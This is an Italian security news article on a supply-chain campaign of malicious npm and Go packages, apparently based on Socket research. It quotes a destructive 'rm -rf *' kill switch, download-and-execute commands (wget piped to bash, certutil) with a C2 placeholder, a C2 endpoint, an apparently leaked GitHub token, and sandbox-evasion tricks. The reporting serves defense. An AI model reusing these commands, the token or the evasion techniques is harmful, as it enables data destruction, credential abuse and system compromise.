Sommario
Una nuova campagna di pacchetti malevoli ha preso di mira due degli ecosistemi di sviluppo più utilizzati, npm e Go, sfruttando vulnerabilità nella supply chain software per compromettere sviluppatori e pipeline CI/CD. Secondo il Socket Threat Research Team, due librerie pubblicate su npm – naya-flore e nvlore-hsc – si presentavano come innocue implementazioni socket per l’integrazione con WhatsApp, ma nascondevano un sofisticato kill switch remoto in grado di cancellare interi progetti. Parallelamente, undici pacchetti Go – otto dei quali creati con tecniche di typosquatting – veicolavano payload remoti ospitati su domini .icu e .tech, capaci di rubare dati sensibili, esfiltrare cookie dei browser e installare backdoor cross-platform.
Pacchetti npm con meccanismo di kill switch remoto
Socket ha rilevato che le librerie naya-flore e nvlore-hsc, con oltre 1.110 download in un solo mese, imitavano il comportamento di pacchetti legittimi come baileys, ampiamente utilizzati nella creazione di bot per WhatsApp. L’autore, identificato con l’alias “nayflore” e un indirizzo email pubblico ([email protected]), ha pubblicato anche altri pacchetti apparentemente benigni, che tuttavia sono stati messi sotto osservazione. Il cuore della funzionalità malevola era contenuto nella funzione requestPairingCode, la quale effettuava una richiesta HTTP verso un URL codificato in Base64, puntando a un repository GitHub. Qui un database (seska.json) conteneva una lista di numeri di telefono whitelisted: se il numero dello sviluppatore non era presente, la funzione impostava un pairing code “0000” e lanciava il comando rm -rf *, cancellando così tutti i file nella directory di lavoro.
Oltre al kill switch, il codice integrava la funzione GenerateCreeds per raccogliere e inviare al server C2 informazioni sul dispositivo, inclusi identificativi, stato e chiavi di autenticazione. Una chiamata HTTP post inviava i dati verso api.verylinh.my.id/running, con il parametro codificato ZnVja19nb2Q. Il pacchetto conteneva inoltre un token GitHub hardcoded (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) che avrebbe potuto consentire accessi non autorizzati a repository privati, sollevando seri rischi per la sicurezza. La logica era strutturata per simulare operazioni reali di socket connection, ingannando gli sviluppatori e passando i test iniziali senza destare sospetti.
Come funziona il kill switch?
Il kill switch è stato integrato nel flusso di autenticazione di bot WhatsApp, attivandosi soltanto in presenza di determinate condizioni (numero non presente nella whitelist GitHub). L’uso di repository remoti per gestire dinamicamente la whitelist consente agli attaccanti di modificare in tempo reale i target e di eludere analisi statiche. Il comando distruttivo viene mascherato tra funzioni di pairing legittime, rendendo necessaria un’analisi dinamica in ambiente sandbox per identificare il comportamento malevolo.
Pacchetti Go con obfuscation avanzata e payload remoti
Socket ha identificato undici pacchetti Go malevoli, dieci dei quali ancora attivi al momento della rilevazione. Otto sfruttavano typosquatting per ingannare gli sviluppatori, imitando nomi di librerie popolari come gouid e mcp-go. Tra questi figurano expertsandba/opt, stripedconsu/linker, agitatedleopa/stm, wetteepee/hcloud-ip-floater, weightycine/replika, ordinarymea/tnsr_ids, ordinarymea/TNSR_IDS, lastnymph/gouid, sinfulsky/gouid, briefinitia/gouid e cavernouskina/mcp-go.
Questi pacchetti implementavano una obfuscation basata su array di stringhe indicizzate, una tecnica in cui comandi e percorsi venivano scomposti in elementi singoli (“7”, “r”, “ ”) e poi ricostruiti in runtime. La funzione di ricostruzione concatenava i frammenti per generare istruzioni malevole come wget -O - <C2> | /bin/bash & nei sistemi Unix e certutil -urlcache -split -f <C2> %TEMP%\appwinx64.exe nei sistemi Windows. In entrambi i casi, lo scopo era scaricare ed eseguire un binario secondario – ELF per Linux/Unix e PE per Windows – da server C2 che utilizzavano percorsi come /storage/de373d0df/a31546bf e domini .icu o .tech.
I payload, dopo un ritardo deliberato di circa un’ora (per sfuggire alle sandbox di analisi), enumeravano informazioni di sistema e dati memorizzati nei browser, inviandoli poi al server C2. Questa strategia di sleep anti-analysis si basava sul fatto che molte sandbox operano solo per pochi minuti. Il malware era in grado di colpire non solo le workstation degli sviluppatori, ma anche pipeline CI/CD automatizzate, sfruttando la tendenza a importare librerie direttamente da GitHub senza revisione manuale.
Implicazioni per la sicurezza della supply chain
Gli incidenti che hanno coinvolto i pacchetti npm e Go mostrano con chiarezza quanto sia vulnerabile la supply chain software quando gli ecosistemi di sviluppo consentono la pubblicazione e l’uso indiscriminato di pacchetti da registry pubblici. Nel caso di npm, la centralizzazione del registry non impedisce la pubblicazione di codice malevolo, mentre l’ecosistema decentralizzato di Go rende ancora più complessa la moderazione, permettendo l’import diretto da repository GitHub non verificati. Le tecniche di typosquatting continuano a essere una strategia efficace per ingannare gli sviluppatori, sfruttando nomi molto simili a pacchetti popolari. Nel caso di npm, il kill switch rappresenta un salto di qualità nella pericolosità degli attacchi, poiché combina sabotaggio e furto di dati mirato. Per Go, la combinazione di obfuscation avanzata, download di payload remoti e ritardi di esecuzione rende il rilevamento ancora più difficile, soprattutto quando il malware è progettato per attivarsi solo in contesti di produzione. Questi attacchi non si limitano a colpire singoli sviluppatori, ma hanno il potenziale di compromettere intere catene di distribuzione software. Un singolo pacchetto malevolo inserito in una dipendenza transitiva può diffondersi in centinaia di progetti, propagando backdoor e aumentando la superficie di attacco per campagne su larga scala.
Raccomandazioni per sviluppatori e organizzazioni
Gli esperti di Socket raccomandano agli sviluppatori di:
– Installare solo pacchetti provenienti da fonti verificate e con una reputazione consolidata.
– Controllare manualmente il codice sorgente, soprattutto per librerie di piccole dimensioni o con pochi download.
– Utilizzare lockfile (package-lock.json per npm, go.mod per Go) per fissare le versioni delle dipendenze ed evitare aggiornamenti non controllati.
– Integrare strumenti di scansione automatica come Socket AI Scanner o Snyk nelle pipeline CI/CD.
– Testare ogni nuova dipendenza in un ambiente sandbox isolato prima di introdurla in produzione.
Le organizzazioni dovrebbero implementare policy di revisione delle dipendenze, eseguire audit periodici, monitorare i log per individuare comandi sospetti e bloccare il traffico verso domini e IP associati a IOC noti. Inoltre, è fondamentale formare i team sul riconoscimento dei rischi legati alla supply chain software e aggiornare costantemente le procedure di sicurezza interna.
